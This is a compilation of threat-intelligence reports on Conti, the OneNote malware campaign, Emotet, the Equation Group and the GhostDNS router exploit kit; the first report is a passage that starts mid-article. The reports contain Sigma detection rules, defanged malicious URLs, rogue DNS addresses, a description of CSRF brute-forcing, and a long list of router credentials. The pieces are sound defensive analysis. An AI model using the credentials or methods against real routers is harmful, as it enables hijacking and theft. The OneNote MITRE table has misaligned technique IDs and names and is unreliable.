“Whenever one of these groups gets disrupted, the temptation is to celebrate a little bit, but there’s always going to be that okay, well, what’s next?” Shier said. “Where are they going to pop up next, under what kind of new model potentially are they going to pop up? Because these groups can be fairly resilient.”
Shier said Conti’s bitcoin wallet reportedly had about $2 billion in it, a figure he called “staggering.” It’s also a figure that compels groups like Conti to rise from the dead. Emsisoft threat analyst Brett Callow put it bluntly: Ransomware, he said, is “so massively profitable it isn’t going to go away quickly or easily.”
Liska and Shier agreed on one thing that will likely change as a result of the leaks: Cybercriminals may be more careful about taking on as many affiliates as they have in the past to counter security risks. In the affiliate ransomware model, gangs loan their malware to other hackers in exchange for a share of profits. The Conti chat leaker is known to be a Ukrainian security researcher and not an affiliate, according to Kremez. But seeing the ease with which the Conti chats were leaked, as well as the damage they caused, will doubtlessly cause more gangs to think twice about sharing sensitive information with far-flung affiliates whom they don’t know as well as core gang members, Shier and Liska predicted.
Shier said he was struck by the fact that nearly 70 people participated in one of the Conti chats. “That’s a lot of people and not all of them were likely to be Russian citizens living in Russia,” Shier said. “If the people who are the principles behind Conti believe in their geopolitical agenda of supporting Russia, and they want to prevent others who don’t share that view within their group from causing harm to the group, I can only see them severing ties with them. They can still be successful without affiliates — they just won’t make as much money.”
Even if Conti sheds affiliates and scales down in response to the leaks, the gang won’t be put out of business until the Russian government pursues criminal charges or allows the U.S. government to do so, experts said. “The core members that are in Russia, are going to be insulated from any kind of prosecution or anything that comes from outside of Russia,” Shier said. “Nothing will be the end of them until the Russian government allows them to be investigated and prosecuted.”
Shier said it is possible Conti will rebrand under another name, but the group will live another day with the same leadership it has now. “I don’t see there being any kind of incentive for the Russian government to do anything with them right now,” Shier said. Just Monday, Shier said, Conti posted four new data dumps for entities which didn’t pay ransoms on their extortion site. There were other data dumps posted on Saturday and Sunday, he said.
Kremez said Conti may lose some members, but they will revamp and come back stronger because they “learn from mistakes.” Kremez said that in some ways the leaked chats will hurt the effort to snuff out Conti. He said he expects gang members will change aliases so they will be more difficult to track. The gang will update its infrastructure. It will cut affiliates who are deemed too risky. “They will reemerge more powerful and better than ever and more bulletproof,” Kremez said. “They will adapt, they will improve, some members will relocate. But they [Conti] will definitely not be pushed out of the market.” |
# From Innocence to Malice: The OneNote Malware Campaign Uncovered
**Summary**
OneNote has been highly cherished by Threat Actors (TAs) in recent months. Unfortunately, many malware distributors have taken notice and are now using OneNote to deliver malicious files to their victims. These actors attach malicious files to a page within OneNote and then share it with their targets as a .one file. The ONE file reaches its targets through phishing emails. Upon opening the attachment, the victim’s computer is compromised.
## Evolution
The inclusion of the MoTW flag and disabling macros in Microsoft Office applications has resulted in a notable reduction in the use of MS Word and other executables for distributing malware. OneNote enables its users to attach files without constraints, making it a convenient means for TAs to deliver malicious payloads. To address this concern, Microsoft has introduced a warning dialog box that prompts users when attempting to open an attachment.
## How TAs are using OneNote
The OneNote malware campaign is propagated via phishing emails, with Emotet being the latest malware to take part in this campaign. The attackers employ a tactic of deception by displaying a counterfeit button, concealing the actual harmful attachment underneath it. Victims are lured into clicking the button with the promise of accessing the document upon clicking the fake button. Nviso Labs also reported the use of embedded URLs by the TAs to deliver their payload.
The threat actors have been disseminating the malware by using various file types as attachments. Our findings reveal that the primary purpose of these attachments is to download and execute the intended malware. Presented below is a list of some file extensions that the TAs favor:
- .bat
- .js
- .cmd
- .wsf
- .ps
- .lnk
- .exe
- .hta
- .vbs
One noteworthy technique that was observed involved the use of Right-to-Left Override to masquerade the file extension. The malware has also been seen with double file extensions in order to evade detection.
In late November 2022, Qakbot was observed utilizing OneNote to distribute its malware and since then, numerous threat actors have followed suit, taking advantage of this feature. This campaign has brought together multiple malware families and integrated them into a unified approach. Threat actors still continue to incorporate OneNote as a tool in their arsenal for delivering their malware.
The OneNote Malware Campaign displayed no bias towards specific malware categories as it welcomed all types of malwares, including info-stealers and ransomware, with open arms. A list of some popular malware utilizing the OneNote malware campaign that was observed is provided below:
- IcedID
- Emotet
- Quasar
- XWorm
Malware samples using OneNote can be found in MalwareBazaar, and there are open-source tools developed by DidierStevens and knight0x07 that will be helpful for static analysis of the .one file format.
## Prevention
As we mentioned earlier, the campaign is being spread through emails. An adequate way for your organization to protect itself is by either creating a rule in Microsoft Exchange Online or by creating a new Anti-malware policy to block emails containing .one files as attachments. If these options are not feasible, you can limit the launching of embedded file attachments in OneNote by utilizing Microsoft Office group policies.
Creating an Attack Surface Reduction (ASR) rule on `D4F940AB-401B-4EfC-AADC-AD5F3C50688A` will help prevent the execution of OneNote attachments. If a user tries to open the attachment, they will receive a notification alerting them that the administrator has blocked this action.
```powershell
Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EfC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```
## Detection
OneNote Malware Campaign can be detected using sigma rules. The below rule detects the creation of .one file in users' machines.
```yaml
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|contains:
- '\AppData\Local\Temp\'
- '\Users\Public\'
- '\Users\'
- '\Windows\Temp\'
- 'C:\Temp\'
TargetFilename|endswith: '.one'
condition: selection
```
We have observed the use of RUNDLL32 for the execution of the malware where the attachment was an .hta file. This behavior can be detected using the following rule.
```yaml
logsource:
product: windows
category: process_creation
detection:
selection_process:
Image|contains: 'rundll32.exe'
ParentImage|contains: 'mshta.exe'
ParentCommandLine|contains|all:
- '.hta'
- 'OneNote'
condition: selection_process
```
All the attachments that we open from OneNote without saving them first are temporarily saved to the following path:
```
C:\Users\{username}\AppData\Local\Temp\OneNote\16.0\Exported\{DF885392-41F2-44A2-B034-3710120A9EAC}\NT\0\
```
The rule mentioned below was written on the above scenario on attachments with suspicious file extensions.
```yaml
logsource:
category: file_event
product: windows
detection:
selection_image:
Image|endswith:
- '\onenote.exe'
- '\ONENOTE.EXE'
TargetFilename|contains|all:
- '\AppData\Local\Temp\OneNote\'
- '\Exported\'
- '\NT\'
selection_file_ext:
TargetFilename|endswith:
- '.bat'
- '.dat'
- '.exe'
- '.hta'
- '.vba'
- '.vbe'
- '.vbs'
- '.wsh'
- '.wsf'
- '.js'
- '.scr'
- '.pif'
- '.cmd'
- '.chm'
- '.ps'
- '.lnk'
- '.ps1'
- '.ps2'
- '.jse'
selection_file_right2left: # FileContaining Right-to-Left Override
TargetFilename|re: ^.*U+202E.*$
selection_file_doubleExt: # File with Double File Extension
TargetFilename|re: ^.*\.[a-zA-Z0-9]*\.[a-zA-Z0-9]*$
condition: selection_image and 1 of selection_file*
```
Additional detections for this campaign have been shared by mbabinski and SigmaHQ for the community.
## MITRE ATT&CK Techniques
| Tactic | Technique | Technique Name | Technique ID |
|----------------------|-----------------|----------------------------------------|--------------|
| Initial Access | T1566.001 | Phishing: Spearphishing Attachment | |
| | T1566.002 | Phishing: Spearphishing Link | |
| Execution | T1059.001 | Command and Scripting Interpreter: PowerShell | |
| | T1059.003 | Command and Scripting Interpreter: Windows | |
| | T1059.005 | Command Shell | |
| | T1059.007 | Command and Scripting Interpreter: Visual Basic | |
| | | Command and Scripting Interpreter: JavaScript | |
| Defense Evasion | T1036.002 | Masquerading: Right-to-Left Override | |
| | T1036.007 | Masquerading: Double File Extension | |
| | T1027.009 | Obfuscated Files or Information: Embedded | |
| | T1055.002 | Payloads | |
| | T1218.001 | Process Injection: Portable Executable Injection | |
| | T1218.005 | System Binary Proxy Execution: Compiled HTML File | |
| | T1218.009 | System Binary Proxy Execution: Mshta | |
| | T1218.011 | System Binary Proxy Execution: Regsvcs/Regasm | |
| | | System Binary Proxy Execution: Rundll32 | |
| Command and Control | T1105 | Ingress Tool Transfer | |
| | T1219 | Remote Access Software | |
## Threat Bites
**Threat Name:** OneNote Malware Campaign
**Category:** Malware Distribution Channel
**Threat Actor:** TA551, TA2541, TA558, TA542, APT33, TA577, TA558
**Targeted Country:** Worldwide
**Targeted Industry:** Shipping, Manufacturing and Aerospace
**First Seen:** November 2022
**Last Seen:** March 2023
**Telemetry Samples:** Wmic, Reg, Rundll32, Mshta, Regasm, Regsvcs
Author: Saharsh Agrawal
Security Researcher, Loginsoft |
# EMOTET Returns, Starts Spreading via Spam Botnet
**September 7, 2017**
**By: Don Ovid Ladores**
EMOTET is making a comeback with increased activity from new variants that have the potential to unleash different types of payloads in the affected system. We first detected the banking malware EMOTET back in 2014, and we looked into the banking malware’s routines and behaviors and took note of its information stealing abilities via network sniffing. In August, we found increased activity coming from new variants (Detected by Trend Micro as TSPY_EMOTET.AUSJLA, TSPY_EMOTET.SMD3, TSPY_EMOTET.AUSJKW, TSPY_EMOTET.AUSJKV) that have the potential to unleash different types of payloads in the affected system.
## A Resurgent Malware
While the motivation behind EMOTET—information theft—remains the same, the reason for the malware's resurgence could be mainly attributed to two main possible reasons. First, the authors behind this attack may be targeting new regions and industries. While the earlier variants of EMOTET primarily targeted the banking sector, our Smart Protection Network (SPN) data reveals that this time, the malware isn’t being picky about the industries it chooses to attack. The affected companies come from different industries, including manufacturing, food and beverage, and healthcare. Again, it is possible that due to the nature of its distribution, EMOTET now has a wider scope. The United States, United Kingdom, and Canada made up the bulk of the target regions, with the US taking up 58% of all our detected infections, while Great Britain and Canada were at 12% and 8% respectively.
Second, these new variants use multiple ways to spread. Its primary propagation method involves the use of a spam botnet, which results in its rapid distribution via email. EMOTET can also spread via a network propagation module that brute forces its way into an account domain using a dictionary attack. EMOTET’s use of compromised URLs as C&C servers likely helped it spread as well. The element of surprise could also have played a role in its effectiveness: due to its recent inactivity, EMOTET’s resurgence managed to catch its targets off-guard, making the attacks, new capabilities, and distribution more effective. For a malware with email-spamming and lateral-movement capabilities, infecting business systems and acquiring corporate emails translates to larger and more effective spam targeting and a higher chance of gaining information.
## Arrival and Installation
The new EMOTET variants initially arrive as spam claiming to be an invoice or payment notification to trick its victims into believing that this is a legitimate email from a supplier. In the body of this email is a malicious URL that will download a document containing a malicious macro when a user clicks on it. This macro will then execute a PowerShell command line that is responsible for downloading EMOTET.
Here are some of the sample URLs we discovered:
- hxxp://abbeykurtz[.]com/VZZQNZJIZD9113942
- hxxp://aplacetogrowtherapy[.]com/CNNKIAPGEP3572621
- hxxp://vanguardatlantic[.]com/Invoice-number-7121315833-issue/
- hxxp://charly-bass[.]de/Copy-Invoice-0954/
Once downloaded, EMOTET drops and executes copies of itself into the following folders:
- If EMOTET has no admin privileges, it will drop the copies into %AppDataLocal%\Microsoft\Windows\{string 1}{string 2}.exe
- If EMOTET contains admin privileges, it will instead drop the copies into System%\{string 1}{string 2}.exe
The malware will attempt to ease its entry into the system by deleting the Zone Identifier Alternate Data Stream (ADS), which is a string of information that describes the Internet Explorer Trust Settings of the file's download source. This is one way for the system to find out if a downloaded file is from a high-risk source, blocking the download if it is detected as such. EMOTET will then register itself as a system service and add registry entries to ensure that it is automatically executed at every system startup. The typical Windows service acts as a “controller” for most hardware-based applications, while others are used to control other applications. The EMOTET malware, on the other hand, uses it for both Elevation of Privilege and as an autostart mechanism.
## Routines
EMOTET will list the system’s currently running processes and then proceed to gather information on both the system itself and the operating system used. It will then connect to the Command & Control (C&C) servers to update to its latest version, as well as to determine the type of payload that it will deliver. One of the possible payloads is the persistent banking trojan known as DRIDEX, which attempts to harvest banking account information via browser monitoring routines. Furthermore, the malware can also turn the infected system into part of a botnet that sends spam emails intended to spread the malware even further. This allows the trojan to spread quickly, as the more systems it can potentially infect, the faster it will propagate. The malware is also capable of harvesting email information and stealing username and password information found in installed browsers.
We discovered that in addition to the above payloads, the C&C server is responsible for sending modules that will perform the following routines, which include:
- SPAMMING Module
- Network Worm Module
- Mail Password Viewer
- Web Browser Password Viewer
From our recent samples of EMOTET malware, we have observed that it has become a Loader Trojan that decrypts and loads any binary coming from its Command & Control (C&C) server.
## Trend Micro Solutions
Addressing threats such as EMOTET needs a multilayered and proactive approach to security—from the gateway, endpoints, networks, and servers. Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from these threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs. Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.
Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.
Trend Micro™ OfficeScan™ with XGen™ endpoint security infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against advanced malware. |
# Equation Group
The Equation Group, classified as an advanced persistent threat, is a highly sophisticated threat actor suspected of being tied to the Tailored Access Operations (TAO) unit of the United States National Security Agency (NSA). Kaspersky Labs describes them as one of the most sophisticated cyber attack groups in the world and "the most advanced ... we have seen", operating alongside the creators of Stuxnet and Flame. Most of their targets have been in Iran, Russia, Pakistan, Afghanistan, India, Syria, and Mali.
The name originated from the group's extensive use of encryption. By 2015, Kaspersky documented 500 malware infections by the group in at least 42 countries, while acknowledging that the actual number could be in the tens of thousands due to its self-terminating protocol.
In 2017, WikiLeaks published a discussion held within the CIA on how it had been possible to identify the group. One commenter wrote that "the Equation Group as labeled in the report does not relate to a specific group but rather a collection of tools" used for hacking.
## Discovery
At the Kaspersky Security Analysts Summit held in Mexico on February 16, 2015, Kaspersky Lab announced its discovery of the Equation Group. According to Kaspersky Lab's report, the group has been active since at least 2001, with more than 60 actors. The malware used in their operations, dubbed EquationDrug and GrayFish, is found to be capable of reprogramming hard disk drive firmware. Because of the advanced techniques involved and high degree of covertness, the group is suspected of ties to the NSA, but Kaspersky Lab has not identified the actors behind the group.
## Probable links to Stuxnet and the NSA
In 2015, Kaspersky's research findings on the Equation Group noted that its loader, "Grayfish", had similarities to a previously discovered loader, "Gauss", from another attack series, and separately noted that the Equation Group used two zero-day attacks later used in Stuxnet; the researchers concluded that "the similar type of usage of both exploits together in different computer worms, at around the same time, indicates that the EQUATION group and the Stuxnet developers are either the same or working closely together".
## Firmware
They also identified that the platform had at times been spread by interdiction (interception of legitimate CDs sent by a scientific conference organizer by mail), and that the platform had the "unprecedented" ability to infect and be transmitted through the hard drive firmware of several major hard drive manufacturers, and create and use hidden disk areas and virtual disk systems for its purposes, a feat which would require access to the manufacturer's source code to achieve, and that the tool was designed for surgical precision, going so far as to exclude specific countries by IP and allow targeting of specific usernames on discussion forums.
## Codewords and timestamps
The NSA codewords "STRAITACID" and "STRAITSHOOTER" have been found inside the malware. In addition, timestamps in the malware seem to indicate that the programmers worked overwhelmingly Monday–Friday in what would correspond to a 08:00–17:00 (8:00 AM - 5:00 PM) workday in an Eastern United States time zone.
## The LNK exploit
Kaspersky's global research and analysis team, otherwise known as GReAT, claimed to have found a piece of malware that contained Stuxnet's "privLib" in 2008. Specifically, it contained the LNK exploit found in Stuxnet in 2010. Fanny is classified as a worm that affects certain Windows operating systems and attempts to spread laterally via network connection or USB storage. Kaspersky stated that they suspect that the Equation Group has been around longer than Stuxnet, based on the recorded compile time of Fanny.
## Link to IRATEMONK
F-Secure claims that the Equation Group's malicious hard drive firmware is TAO program "IRATEMONK", one of the items from the NSA ANT catalog exposed in a 2013 Der Spiegel article. IRATEMONK provides the attacker with an ability to have their software application persistently installed on desktop and laptop computers, despite the disk being formatted, its data erased or the operating system re-installed. It infects the hard drive firmware, which in turn adds instructions to the disk's master boot record that causes the software to install each time the computer is booted up. It is capable of infecting certain hard drives from Seagate, Maxtor, Western Digital, Samsung, IBM, Micron Technology, and Toshiba.
## 2016 breach of the Equation Group
In August 2016, a hacking group calling itself "The Shadow Brokers" announced that it had stolen malware code from the Equation Group. Kaspersky Lab noticed similarities between the stolen code and earlier known code from the Equation Group malware samples it had in its possession including quirks unique to the Equation Group's way of implementing the RC6 encryption algorithm, and therefore concluded that this announcement is legitimate. The most recent dates of the stolen files are from June 2013, thus prompting Edward Snowden to speculate that a likely lockdown resulting from his leak of the NSA's global and domestic surveillance efforts stopped The Shadow Brokers' breach of the Equation Group. Exploits against Cisco Adaptive Security Appliances and Fortinet's firewalls were featured in some malware samples released by The Shadow Brokers. EXTRABACON, a Simple Network Management Protocol exploit against Cisco's ASA software, was a zero-day exploit as of the time of the announcement. Juniper also confirmed that its NetScreen firewalls were affected. The EternalBlue exploit was used to conduct the damaging worldwide WannaCry ransomware attack. |
# GhostDNS Source Code Leaked
Router exploit kits are becoming more popular among cybercriminals, mostly targeting routers in Brazil, due to many Brazilian routers being poorly secured with default and well-known login credentials. Router exploit kits are usually distributed via malvertising webpages, and these campaigns appear in waves.
A year ago, our Avast Web Shield blocked a URL from the file-sharing platform sendspace.com. It turned out that one of our Avast users was uploading a RAR archive with malicious content to the server. The user forgot to disable the Avast Web Shield while doing this, and since the archive was not password protected, it was automatically analyzed by the Shield, triggering our router exploit kit (EK) detections. We downloaded the linked file and found the complete source code of the GhostDNS exploit kit.
The file we downloaded was named ‘KL DNS.rar’. The name indicates its purpose – it uses a DNS hijack method to redirect users to phishing webpages where a keylogger (KL) is used to obtain users’ credentials or credit card information. There are videos available online explaining how attacks like this can be executed.
The GhostDNS source code can be purchased on the darknet. In 2018, it was sold online for around 450 US dollars. Apart from the GhostDNS source code that anyone can buy and run on their own, credit card details stolen using GhostDNS can also be purchased for about 10 – 25 USD, depending on the number of credit card details. According to our research, the data was still available for purchase in April 2020.
## Source Code Structure
The KL DNS.rar file we downloaded contains everything needed to run a successful DNS hijack campaign and to steal victims’ credit card details, credentials to different websites, or any other information users type. Apart from the exploit kit source code, the original archive also contains the source code for several phishing web pages.
There are two ways of attacking a SOHO router. The most common way is from the internal network, usually done when a victim clicks on a malvertising link in a web browser. Another way of infecting a router is from another device connected to the internet. In this case, the user doesn’t need to click on any links. Both attack vectors use CSRF requests to change DNS settings on the home router.
The difference between these two attack approaches is significant. When a malvertising campaign is used, an attacker pays for a campaign that is guaranteed to drive a given number of people to their malicious page. Once the malicious link is clicked, the attack is launched from the computer, from within the local network. The chances of a successful attack on the router using this approach are higher, as many routers are accessible only from the local network.
On the other hand, using an internet scanner, such as BRUT or masscan, to search for vulnerable routers and attacking them from the outside has its benefits for attackers. Scanners can be used for free, attackers don’t have to pay for clicks, and can control which IP addresses and ports will be scanned and eventually attacked.
This and similar campaigns usually appear in waves and target routers around the world. Although the majority of attacks target routers in Brazil, the reason why campaigns like this are successful is that most routers are left vulnerable due to weak (usually default) credentials. Based on anonymized data from our Avast Wi-Fi Inspector feature, 76% of router login credentials in Brazil have weak passwords, leaving them vulnerable.
## BRUT
In this part, we will focus on analyzing the source code of a free internet scanner called BRUT. BRUT searches for and attacks routers with a public IP address and an HTTP port opened to the internet.
### The differences between versions
We found five implementations of the GhostDNS source code used in this campaign. Based on the files’ metadata, the oldest implementation was created in July 2017. The behavior of the malicious script in each version is very similar, but they differ in implementation details. Based on the analysis of the files, we can separate all the implementations into two groups, or versions, with different targets.
- **Version A**: This implementation targets a lower number of devices and ports that may be open but uses a longer list of default credentials to brute-force the correct combination of a username and password.
- **Version B**: This implementation targets a significantly higher number of devices and open ports, but the list of default credentials is shorter.
| Version A | Version B |
|-----------|-----------|
| Number of IP address prefixes | 3,051 | 78,535 |
| Targeted ports | 80, 8080, 8181 | 80, 8080, 8081, 8181, 8889, 9001, 9000 |
| Number of devices with open ports in Brazil in May 2020 | ~ 1.6 M | ~ 1.8 M |
| Number of devices with open ports worldwide in May 2020 | ~ 88.5 M | ~ 96.5 M |
| Number of credentials used in the brute-force attack | 84 | 22 |
| Number of targeted router models | 31 | 37 |
Apart from the different targets, these two versions also have a slightly different folder structure. In each folder containing version B of the source code, we found a markdown file named `READM.MD`. The author of this source code made a typographical error when naming the file, as it was probably supposed to be `README.MD`. Version A of the source code doesn’t contain any `README.MD` file.
What we found in the downloaded RAR archive were two implementations of one algorithm where one implementation extends the other. It looks like version A of the source code is an older version where the attackers focused more on the correct implementation of the attack. This can be concluded based on the much lower number of targeted IP addresses and ports and a lower number of targeted router models. After the success of this version, the attacker created a new version of the source code targeting significantly more IP addresses and ports, as well as more router models. The fact that the number of credentials combinations is lower may be because most users never change the default credentials in their SOHO routers, making a smaller number of credentials effective enough.
## Installation
The malicious source code is distributed by a simple shell script called ‘install.sh’, which can be found in both versions of the source code. After executing this script, it downloads all dependencies needed to run the infection. The infection source code is downloaded from one of two different places, depending on the version of the source code – either from a server with a hardcoded IP address in the source code or from Dropbox. Using Dropbox to share the malicious script only began in later versions of the code. The source code is downloaded as a ZIP file and is stored in the ‘/scan’ folder on the host device.
## The internet scanner
In order to find a new router to attack, the GhostDNS kit scans other devices connected to the internet. In the source code, we found a list of IP address prefixes that are scanned. Each prefix specifies a subnetwork with a network mask of 16, thus all 65,536 IP addresses for each prefix are scanned. The prefix of a subnetwork scanned is chosen randomly from a predefined list.
The chosen prefix is then logged into the console. Every time the script finds a new device with an open HTTP port, it logs the IP address, port, and credentials into the command line and to the log file. Two implementations of version A print out a banner informing the attacker that the malicious CSRF request has been executed. While creating this banner, the attacker made a typographical error and instead of displaying the correct name ‘GHOST DNS’, the script displays ‘GOST DNS’. The rest of the information printed to the console is in Portuguese.
The BRUT scanner focuses on the predefined HTTP ports that are hardcoded in the source code. For each prefix, the scanner tries to connect to all 65,536 IP addresses in the given range in increasing order. For each IP address, it tries to connect to a predefined set of ports.
We analyzed the lists of given IP address prefixes to determine which countries are affected by the scanning. The number of targeted countries in both lists is 69, and both versions target the same set of countries. The difference between the two versions is the distribution of different IP addresses in each country and the total number of IP addresses in each version.
Even though the majority of IP address prefixes in both lists are registered in Brazil, the algorithm still checks the geolocation of each scanned IP address. The attack only continues to target IP addresses located in Brazil. Apart from targeting devices connected to the internet, GhostDNS also targets devices connected to the same private network. In the list of IP address prefixes is a private network 192.168.0.0/16 that is used by default for the internal network by most routers.
There are specified IP addresses in version B of the source code from a subnetwork that should be ignored while scanning the internet. The subnetwork is 143.106.0.0/16 and belongs to the Public University in Campinas, Brazil, which is a member of the Distributed Honeypots Project focusing on the analysis of threats targeting devices on the internet. This university, together with the Centre for Studies, Response, and Treatment of Security Incidents in Brazil, are responsible for maintaining the honeypots. In order to remain unnoticed for as long as possible, the scanner avoids this known range of IP addresses.
## Gaining access
In one of our previous blog posts, we analyzed a GhostDNS campaign spreading in the wild. The router EK uses CSRF requests to change a router’s DNS settings. In the implementation we are describing now, the GhostDNS script sends HTTP requests to one of the following destinations using the hardcoded list of credentials:
- http://ip:port
- http://user@ip:port
To gain access to a device, the script carries out a CSRF brute-force attack with a list of default or easy-to-guess credentials. We found two lists in the source code. One of them contains 22 credentials and is used with the larger set of IP address prefixes, while the second one contains 84 credentials and is used with the smaller set of prefixes.
Out of all the credential combinations, only nine of them can be found in both credential lists. Among these common credentials, we found the default username and password for Cisco devices (cisco:cisco), Ubiquiti devices (ubnt:ubnt), and different variations of ‘admin’ as username and/or password. Both lists also contain ‘deadcorp2017’ as a password, which is used by the GhostDNS exploit kit as a new password in infected routers.
Apart from the common credentials, version B of the source code contains more easy-to-guess credentials, for example, admin:123456. The author of the source also added some more complex passwords, for example, ‘krug3rpicao’ or ‘s1m23l’. The reason why these passwords were added to the list is unknown.
On the other hand, version A of the source code also contains well-known default credentials typical for Brazilian ISPs, like TIM Brazil (T1m4dm:T1m4dm) or VIVO (admin:gvt12345). The complete list of credentials can be found in the IoC section.
Moreover, when sending HTTP requests, version B of the source code randomly chooses from a list of ten predefined user agents. This feature is not included in version A of the source code, so it is probably an improvement of the source code as an attempt to remain undetected for a longer period.
When the correct combination of information is sent to the targeted device, it replies with an HTTP response code 200 and a banner containing information about the device. Based on the name of the targeted device, the GhostDNS algorithm uses a very simple fingerprinting technique to select the correct version of the router EK to be used in the DNS hijack attack.
An example exploit targeting a FiberHome Modem Router HG-110 with HTTP fingerprinting can be seen below. This exploit has been around since 2013 and aims to change DNS settings and then reboot the targeted device without any authentication.
## Directory Path Traversal
Not all devices that respond with an HTTP response code 200 are routers. Some devices are ignored on purpose, for example, IP cameras, DVRs, servers, and others, because they do not have DNS servers.
For successful logins, information about an infected router is stored in a log file on a hard disk and, in one version of the source code, the login information is shared with an external server using the domain ‘deadfilmes.org’. This domain was active for a short period in 2017, apparently during an active campaign, and is not active anymore.
The attack chain continues with the CSRF hijacking DNS settings of each targeted router. The DNS settings are set up with a predefined rogue DNS server that redirects users to phishing webpages. In the GhostDNS source code that we downloaded, we found three different malicious DNS settings.
### DNS settings
- DNS_1 = 162.254.204[.]26
- DNS_2 = 162.254.204[.]30
- DNS_1 = 198.55.124[.]146
- DNS_1 = 185.70.186[.]4
- DNS_2 = 185.70.186[.]7
In order to create a rogue DNS server, the archive contains the installation file of the SimpleDNS Plus application with its crack included, which is a powerful DNS server for Windows OS. The original RAR archive also contains DNS settings to be imported into the DNS tool.
In the next step, GhostDNS changes the user’s router credentials to predefined ones. In two versions of the source code, just the password was changed to ‘deadcorp2017’. In two cases, the attacker changed both the username and password to ‘deadcorp2017’. In another case, both the username and password were changed to ‘Snowden’.
From that moment, every time the user connects to a target domain, the malicious DNS will redirect them to a phishing server where a malicious copy of the requested web page is located. These webpages usually look similar to the real web pages of the requested services, but the purpose is to obtain users’ data. In this case, the targeted services are bank institutions and Netflix.
## RouterEK
Another way of attacking routers is from the local network using the malvertising redirects. The attack is launched when a user clicks on a malicious link and unintentionally attacks the router from within the internal network.
The number of scanned IP addresses is much lower than the lists we found in the BRUT folder mentioned above. This scanner targets five internal IP addresses, two public IP addresses registered to Brazilian internet service providers, and the IP address from which the user is viewing the malvertising webpage. This script targets only two HTTP ports: 80 and 8080.
The script then searches for combinations of IP addresses and ports where an active device can be found. For each device that responded, the script produces an iframe encoded in BASE64. These iframes represent simple webpages with a function that changes HTTP requests to WebSocket requests.
The list of credentials used in the requests contains only eight username and password pairs, which is significantly lower than the number of credentials we found in the BRUT folder, but it still contains the most used default router login credentials used in Brazil.
After a victim has been redirected to a landing page with the exploit kit, the script determines the server’s IP address and the URL that the client clicked on based on the PHP $_SERVER variables. All this information, including the current date and time, is then logged into a log file named after the client’s IP address.
When an attack is launched from a web browser, the attackers focus on the time complexity of the attack to remain unnoticed by users. For this reason, the attack targets fewer IP addresses and ports, and the list of credentials is shorter.
We have seen many GhostDNS campaigns targeting Brazilians in the last two years. Older variants were often distributed via malvertising through compromised webpages. In 2019, several groups switched to the Jelastic platform, AWS, or other easy-to-deploy hosting services.
## Phishing server and web pages
In the downloaded ‘KL DNS’ folder, alongside the GhostDNS source code, was the source code of the phishing web pages. The attackers focused on the biggest banks in Brazil and on Netflix:
- Banco Bradesco
- Itau
- Caixa
- Santander
- MercadoPago
- CrediCard
- Netflix
While analyzing the source code, we noticed that some other domains were prepared to work, but the phishing web pages were not yet implemented. This group of web pages includes more big Brazilian banks, hosting domains, a news site, and travel companies:
- Flytour Viagens
- Banco do Brasil
- Cartao UNI
- Sicoob
- Banco Original
- CitiBank
- Locaweb
- MisterMoneyBrasil
- UOL
- PayPal
- LATAM Pass
- Serasa Experian
- Sicredi
- SwitchFly
- Umbler
The purpose of these phishing web pages is to collect users’ data, mostly login credentials to online banking sites and credit card numbers. When the phishing server steals users’ information, it sends it via email to the attacker.
## Bonus: Project RouterScan
During our research, we found what is most likely a successor of the BRUT scanner called RouterScan created by Stas’M Corp. This automated network scanner can be downloaded from the developer directly, where version 2.60 Beta is already available. A modified version of RouterScan v2.53 can be found on a torrent network or file-sharing platforms.
The RouterScan tool contains a list of default or easy-to-guess credentials. In version 2.53, there are 125 different credentials for basic authentication and 113 credentials for digest authentication.
## Conclusion
Using CSRF attacks is a common way to hijack DNS settings and send users to phishing websites instead of the real sites. This type of attack is very popular in Brazil, where attackers use this vector to obtain sensitive information, like user login credentials from some of the biggest banks in Brazil, and credit card numbers.
Avast’s Web Shield helps to protect users and their routers from getting infected. If any malicious script is found in a website a user attempts to access, the Web Shield blocks the URL and informs the user. Thanks to the source code we downloaded, we were able to fully understand how GhostDNS works and therefore improve the detections of Avast Antivirus to protect users.
If you would like more information about our analysis, or just want to chat with us about our findings, feel free to reach out to us on Twitter @AvastThreatLabs.
## Appendix: The list of passwords
- admin
- root
- ACESSO:@@ACESSO##POINT#@
- admin2:admin2
- admin:
- Admin:
- admin:1
- admin:123
- admin:1234
- admin:123456
- admin:1234567890
- admin:@!JHGFJH15
- admin:admin
- Admin:admin
- Admin:Admin
- admin:adsl
- admin:bigb0ss
- admin:buildc0de
- admin:bulld0gg
- admin:bullyd0gg
- admin:deadcorp2017
- admin:deadcp2017
- admin:deus1010
- admin:dn5ch4ng3
- admin:dnschange
- admin:Gidlinux2019
- admin:gpnet321
- admin:gvt12345
- admin:internet
- admin:K3LLY2016
- admin:krug3rpicao
- admin:m3g4m4ln
- admin:m3g4m4n
- admin:megaman
- admin:megaman2
- admin:mundo
- admin:p4dr40
- admin:passthehash
- admin:password
- admin:publ1c0
- admin:roteador
- admin:s1m23l
- admin:saho4001
- admin:theb0ss
- admin:thed0gg
- admin:uhuwCorp
- admin:Voltage2016
- admin:zyxel
- cisco:cisco
- deadcorp2017:deadcorp2017
- jordam:jdmadmin
- megaman:megaman
- megaman:megaman2
- provedor:MACAXEIRA
- provedor:SIERRABRAVO
- root:
- root:123
- root:44acesso22point2014
- root:admin
- root:bigb0ss
- root:buildc0de
- root:bulld0gg
- root:bullyd0gg
- root:deus1010
- root:Gidlinux2019
- root:K3LLY2016
- root:m3g4m4ln
- root:m3g4m4n
- root:root
- root:theb0ss
- root:thed0gg
- root:toor
- root:Voltage2016
- super:megaman
- super:super
- support:bigb0ss
- support:buildc0de
- support:bulld0gg
- support:bullyd0gg
- support:deus1010
- support:Gidlinux2019
- support:K3LLY2016
- support:m3g4m4ln
- support:m3g4m4n
- support:theb0ss
- support:thed0gg
- support:Voltage2016
- T1m4dm:
- T1m4dm:@T1m@dml1v@
